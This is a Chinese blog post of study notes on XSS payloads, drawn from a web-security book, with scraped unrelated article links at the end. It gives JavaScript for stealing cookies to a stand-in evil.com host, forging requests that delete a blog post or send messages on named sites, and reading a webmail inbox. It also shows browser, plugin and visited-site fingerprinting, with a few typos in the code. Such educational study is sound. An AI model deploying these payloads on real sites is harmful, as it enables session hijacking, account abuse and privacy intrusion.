参考资料:《白帽子讲Web安全》吴翰清 著

参见:

本文地址:博客园 http://www.cnblogs.com/go2bed/p/4136358.html

含义:

XSS 攻击成功后,攻击者能够对用户当前浏览的页面植入恶意脚本,通过恶意脚本,控制用户的浏览器。这些用以完成各种具体功能的恶意脚本,被称为“XSS PayLoad”。

用法:

Cookie 劫持攻击

攻击者先加载一个远程脚本:

http://www.a.com/test.htm?abc=">

真正的XSS Payload现在这个远程脚本中,避免直接在URL的参数里写入大量的JavaScript代码。

在evil.js中,可以通过如下代码窃取Cookie:

var img=document.createElement("img");

img.src="http://www.evil.com/log?"+escape(document.cookie);

document.body.appendChild(img);

这段代码在页面中插入了一张看不见的图片,同时把document.cookie对象作为参数发送到远程服务器。

事实上,http://www.evil.com/log并不一定要存在,因为这个请求会在远程服务器的Web日志中留下记录。

这样就完成了一个最简单的窃取Cookie的XSS Payload。

黑客可以用这个Cookie直接登录。

防止方法: Cookie的“HttpOnly"标识可以防止"Cookie劫持"。

构造模拟GET和POST请求操作用户的浏览器

删除Sohu博客上的一篇文章

例如在Sohu上有一篇文章, 想通过XSS删除它,该如何做呢?

假设Sohu博客所在域的某页面存在XSS漏洞,那么通过JavaScript,这个过程如下:

正常删除该文章的链接是:

http://blog.sohu.com/manage/entry.do?m=delete&id=156713012

对于攻击者来说,只需要直到文章的id,就能够通过这个请求删除这篇文章了。

攻击者可以通过插入一张图片来发起一个get请求:

var img=document.createElement("img");

img.scr="http://blog.sohu.com/manage/entry.do?m=delete&id=156713012";

document.body.appendChild(img);

攻击者只需要让博客的作者执行这段JavaScript代码(XSS Payload),就会把这篇文章删除。在具体攻击中,攻击者将通过XSS诱使用户执行XSS Payload。

POST表单(Form)在Douban上发送消息

如果表单参数很多的话,通过构造DOM的方式,代码将会很冗长。所以可以直接写HTML代码:

var dd=document.createElement("div");

document.body.appendChild(dd);

dd.innerHTML='

'+

''+

'' +

'

document.getElementById("xssform").submit();

或者:

通过XMLHttpRequest发送一个POST请求:

var url="http://www.douban.com";

var postStr="ck=JiuY&mb_text=test1234";

var ajax=null;

if (window.XMLHttpRequest){

ajax=new XMLHttpRequest();

} else if (window.ActiveXObject){

ajax=new ActiveXObject("Microsoft.XMLHTTP");

} else {

return;

}

ajax.open("POST",url,true);

ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

ajax.send(postStr);

ajax.onreadystatechange=function(){

if (ajax.readyState==4 && ajax.status==200){

alert("Done");

}

}

通过XSS Payload读取QMail用户的邮件文件夹

通过抓包并分析发现:点击收件箱后,真正能访问到邮件列表的链接是:

这里有一个无法直接构造出的值:sid。从字面推测,这个sid参数应该是用户ID加密后的值。

所以XSS Payload的思路是先获取到sid的值,然后构造完整的URL,并使用XMLHttpRequest请求到此URL,应该就能得到邮件列表了。XSS Payload如下:

if (top.window.location.href.indexOf("sid=")>0){

var sid=top.window..location.href.substr(top.window.location.href.indexOf("sid=")+4,24);

}

var folder_url="http://"+top.window.location.host+"/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid="+sid;

var ajax=null;

if (window.XMLHttpRequest){

ajax=new XMLHttpRequest();

} else if (window.ActiveXObject){

ajax=new ActiveXObject("Microsoft.XMLHTTP");

} else {

return;

}

ajax.open("GET",folder_url,true);

ajax.send(null);

ajax.onreadystatechange=function(){

if (ajax.readyState==4 && ajax.status==200){

alert(ajax.responseText);

//document.write(ajax.responseText);

}

}

邮件列表的内容成功被XSS Payload获取到。

XSS钓鱼

XSS并非万能。前面的例子都是Javascript脚本,缺少"与用户的交互",碰到验证码,和修改密码时需要输入旧密码,XSS Payload就会失效。

对于验证码,XSS Payload可以读取页面的内容,将验证码的图片URL发送到远程服务器上来实施--攻击者可以在远程XSS后台接收当前验证码,并将验证码的值返回给当前的XSS Payload,从而绕过验证码。

修改密码的问题比较复杂,为了窃取密码,攻击者可以将XSS与"钓鱼"结合。

实现思路很简单:利用Javascript在当前页面上"画出"一个伪造的登录框,当用户在登录框中输入用户名和密码后,其密码将被发送到黑客的服务器上。

识别用户浏览器

直接读取浏览器的UserAgent对象:

alert(navigator.userAgent);

但是userAgent是可以伪造的。这个信息不一定准确。

由于浏览器之间的实现存在差异,利用这种差异分辨浏览器几乎不会错误。

参考:

if (window.ActiveObject){ //MSIE 6.0 or below

//判断是否IE 7以上

if (document.documentElement && typeof document.documentElement.style.maxHeight!="undefined"){

if (typeof document.adoptNode!="undefined") { //Safari 3 & FF & Opera & Chrome & IE8

//MSIE 8.0

}

//MSIE 7.0

}

return "msie"; //MSIE6.0

}  else if { typeof window.opera!="undefined") { //Opera独占

return "opera";

} else if (typeof window.netscape!="undefined"){ //Mozilla独占

if (typeof window.Iterator !="undefined") {

//Firefox 2.0以上支持这个对象

if (typeof document.styleSheetSets!="undefined"){ //FireFox 3 & Opera 9

//Firefox 3

}

//Firefox 2.0

}

return "mozilla";

} else if (typeof window.pageXOffset!="undefined"){ //Mozilla & Safari

try {

if (typeof external.AddSearchProvider!="undefined"){  //Firefox & Google Chrome

return "Chrome";

}

} catch (e) {

return "safari";

}

} else { //unknown

return "unknown";

}

安全研究者Gareth Heyes曾经找到一种更巧妙的方法,通过很精简的代码,即可识别出不同的浏览器。并可精简为一行代码。

详见 《白帽子讲Web安全》一书。

识别用户安装的软件

在IE中,可以通过判断ActiveX控件的classid是否存在,来推测用户是否安装了该软件。这种方法很早就被用于“挂马攻击"--黑客通过判断用户安装的软件,选择对应的浏览器漏洞,最终达到植入木马的目的。

看如下代码:

try {

var Obj=new ActiveXObject('XunLeiBHO.ThunderIEHelper');

} catch (e){

//异常了,不存在该控件

}

通过收集常见软件的classid,就可以扫描出用户电脑中安装的软件列表,甚至包括软件的版本。

一些第三方软件也可能会泄漏一些信息。比如Flash有一个system.capabilities对象,能够查询客户端电脑中的硬件信息。

在XSS Payload中,可以在Flash的ActionScript中读取system.capabilities对象后,将结果通过ExternalInterface传给页面的javascript。

浏览器的扩展和插件也能被XSS Payload扫描出来。比如对于Firefox的插件和扩展,有着不同的检测方法。

Firefox的插件(Plugins)列表存放在一个DOM对象中,通过查询DOM可以遍历出所有的插件:

所以直接查询"navigator.plugins"对象,就能找到所有的插件了。例如 navigator.plugins[0]

而Chrome的扩展(Extension)要复杂一些。有安全研究者想出了一个方法:通过检测扩展的图标,来判断某个特定的扩展是否存在。

在Chrome中有一个特殊的协议: chrome:// ,Chrome的扩展图标可以通过这个协议被访问到。比如Flash Got扩展的图标,可以这样访问:

chrome://flashgot/skin/icon32.png

扫描Chrome扩展时,只需在Javascript中加载这张图片,如果加载成功,则扩展存在;反之,扩展就不存在。

var m=new Image();

m.οnlοad=function(){

alert(1);//图片存在

};

m.οnerrοr=function(){

alert(2);//图片不存在

};

m.src="chrome://flashgot/skin/icon32.png"; //连接图片

CSS History Hack:

我们再看看另外一个有趣的XSS Payload---通过CSS,来发现一个用户曾经访问过的网站。

原理是利用style的visited属性---如果用户曾经访问过某个链接,那么这个链接的颜色会变得与众不同。

var websites=[ ... 要检测的访问过的网址列表,可能有几千个...];

//遍历每个URL

for (var i=0;i

var link=document.createElement("a");

link.id="id"+i;

link.href=websites[i];

link.innerHTML=websites[i];

document.write('

document.write('#id'+i+":visited {color:#FF0000;}");

document.write('');

document.body.appendChild(link);

var color=document.defaultView.getComputedStyle(link,null).getPropertyValue("color");

document.body.removeChild(link);

if (color=="rgb(255,0,0)") { //visited

var item=document.createElement('li');

item.appendChild(link);

document.getElementById('visited').appendChild(item);

} else { //Not visited

var item=document.createElement('li');

item.appendChild(link);

document.getElementById('notvisited').appendChild(item);

}

}

但是Firefox已经在2010年3月决定修补这个问题。

获取用户的真实IP地址:

很多时候,用户电脑的IP地址隐藏在代理服务器或NAT的后面。

javascript本身并没有获取本地IP地址的能力。一般需要第三方软件来完成。比如,客户端安装了Java环境(JRE),那么XSS就可以通过调用Java Applet的接口获取客户端的本地IP地址。

在XSS攻击框架"Attack API"中,就有一个获取本地IP地址的API:

AttackAPI.dom.getInternalIP=function(){

try {

var sock=new java.net.Socket();

sock.bind(new java.net.InetSocketAddress('0.0.0.0',0));

sock.connect(new java.net.InetSocketAddress(document.domain,(!document.location.port)?80:document.location.port));

return sock.getLocalAddress().getHostAddress();

} catch (e) {}

return '127.0.0.1';

};

此外,还有两个利用Java获取本地网络信息的API。

详见 《白帽子讲Web安全》一书。

payload的使 常用xss_XSS Payload知识备忘相关推荐

  1. linux常用基本指令汇总备忘

    linux常用基本指令汇总备忘 vi编辑界面中可以使用三种不同的工作模式. 分别是命令模式(Command mode):控制光标移动,字符,字或者行的删除,进入其他两个模式 输入模式(Insert m ...

  2. VB.net小技巧——VB中利用TreeView控件和Box控件做知识备忘

    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 VB.net小技巧--VB中利用TreeView控件和Box控件做知识备忘 这里不涉及代码的展示,主要是为了阐述一种做笔记的思想. 为 ...

  3. 常用java工具代码备忘

    记录一些常用java工具代码,个人用,备忘 package com.szq.misc;import java.util.UUID;public enum MiscUtils {I;/*** 格式化UR ...

  4. 【ExtJS实践】之五 :常用语句及脚本备忘

    由于时间紧,缺少系统的学习,导致在开发过程中,常常无法找到能够实现自己要求的正确方法.把开发过程中遇到的问题及相应的解决方法记录下来,备忘. 1.清空form表单输入的内容 Ext.getCmp(&q ...

  5. 前端基础知识备忘——parseInt

    先来看一道经常会看到的前端面试题: [1,2,3,4,5,6,7,8,9].map(parseInt) 输出的结果是什么? 很多第一次看到这道题或者是js基础不太牢靠的前端朋友可能会顺口就来,so e ...

  6. payload的使 常用xss_Sony某个深度子域上的XSS

    大家好!这是我第一次写关于漏洞悬赏的文章.我从2019年7月22日开始加入大量漏洞悬赏项目,想和大家分享我发现的所有漏洞. 关于项目的选择方面,我基本都选择范围较大的目标,因为我不太关心奖励高低,只是 ...

  7. payload的使 常用xss_跨站脚本XSS Payloads生成器

    xss_payloads xss_payloads是一个基于PHP的跨站脚本XSS Payloads生成器. 用法在您的应用中找到XSS vuln 获取PoC漏洞:alert(1) 等等 在某处托管这 ...

  8. 字符串转数字测试--知识备忘

    闲来无事,看了不少js的奇淫技巧,其实很多只是卖弄知识真正用上的并不多,为了满足好奇心做了一个实验. 这个实验是关于将字符串转成数字的,因为前端处理小数会出很多问题,所以一般都是后台的同学把数据处理好 ...

  9. 常用的excel公式备忘

    指定文本在一列中出现的位置,返回对应单元格的内容 =LOOKUP(,-FIND(A378,Sheet1!A$2:A$112),Sheet1!C$2:C$112) 多条件搜索 =SUMPRODUCT(( ...

  10. Linux常用命令速查备忘(包括我)

    一. 启动,关机,登入,登出相关命令 [login] 登录 [logout] 登出 [exit] 登出 [shutdown] 停止系统 [halt] 停止系统 [reboot] 重启动 [powero ...

最新文章

  1. pc工具不支持stb的加密方式_如何选择加密狗?九大标准
  2. Android__Context
  3. aix升级openssh_AIX5.3如何安装openssh | 学步园
  4. Java EE 8中的MVC 1.0:使用Facelets入门
  5. 移动端 fixed 固定按钮在屏幕下方,然后按钮被键盘顶上来...顶上来了有没有~
  6. node.js JS对象和JSON字符串之间的转换
  7. Python的slice问题
  8. 常用Git命令和配置
  9. jQuery学习之---效果
  10. Maven的配置和使用(三)
  11. HALCON示例程序IC.hdev通过电路板元器件定位识别
  12. 熊出没之伐木机器人_熊出没:最强大的4大机器人登场,熊大熊二“苦不堪言”...
  13. 开放IPTV论坛(OIPF)的HBB TV标准规范
  14. 网络 - VXLAN
  15. AlphaCode 惊世登场!编程版“阿法狗”悄悄参赛,击败一半程序员
  16. 【爬虫实战】Python 自制天气预报程序!爬取全国天气网
  17. 通信感知一体化技术发展趋势(IMT-2030 6G)
  18. Python实现Word2vec学习笔记
  19. 第七章第三十六题(游戏:八皇后问题)(Game: Eight Queens)
  20. 计算机网络网卡是什么东西,网卡坏了有什么现象?判断电脑网卡坏的方法

热门文章

  1. 滴滴天使投资人的25条创业建议
  2. Git之深入解析如何解决.git目录过大的问题
  3. 用心成就精品海天讲述不一样的品牌故事
  4. 三分求单峰/单谷函数极值
  5. 没有自制力的人,有什么资格谈努力?
  6. docker下安装wekan看板工具
  7. 华为android怎么打开usb调试,华为PLK-AL10 开启USB调试模式
  8. SRE岗位理解(上篇)—读SRE实战手册有感
  9. 十大虚拟化最佳实践(转自Wes Miller的文章)
  10. 一看就会的侧方位停车技巧 见了就收了吧